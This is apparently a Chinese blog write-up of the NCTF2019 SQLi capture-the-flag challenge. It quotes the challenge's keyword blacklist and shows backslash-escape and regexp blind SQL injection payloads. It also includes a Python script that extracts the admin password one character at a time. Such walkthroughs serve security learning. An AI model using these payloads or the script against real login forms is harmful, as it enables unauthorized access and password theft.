NCTF2019-SQLi

[NCTF2019]SQLi

进入题目是一个登录框注入

sqlquery : select * from users where username=’’ and passwd=’’

标识了查询语句,测试:

image-20210504174454423

过滤了很多……

robots.txt中有hint,提示了过滤规则与flag获取方式:

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

引号被过滤,用转义:

username=a&passwd=/**/||1;%00

结果永真,此时res出现了变化:

image-20210504174832423

实际上,这个页面并不存在……

我陷入了沉思……

regexp注入

https://xz.aliyun.com/t/8003

1
username=\&passwd=/**/||username/**/regexp/**/"^admin";%00

此时,注入语句为:

1
select * from users where username='xxx'/**/||username/**/regexp/**/"^admi";%00

对username字段进行正则匹配,一个个移位匹配……(又是移位匹配……

写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# coding=utf-8
import requests
import time

flag = ""
url = "http://9424a242-edab-424f-b620-ceca992f2e55.node3.buuoj.cn/"
string="1234567890qwertyuiopasdfghjklzxcvbnm_"

for x in range(1, 200):
for s in string:
data = {
"username": "\\",
"passwd": '/**/||passwd/**/regexp/**/"^{}";'.format(flag+s)+chr(0)
}
# print(pay)
response = requests.post(url=url, data=data)
# print(response.text)
if "welcome.php" in response.text:
# time.sleep(0.03)
flag += s
print(s)
print(flag)
print(flag)

image-20210504182318273

image-20210504182429861

得到flag……

官方wp:

http://yulige.top/?p=752#SQLi500pt_11solvers

作者

inanb

发布于

2021-05-04

更新于

2021-08-23

许可协议


:D 一言句子获取中...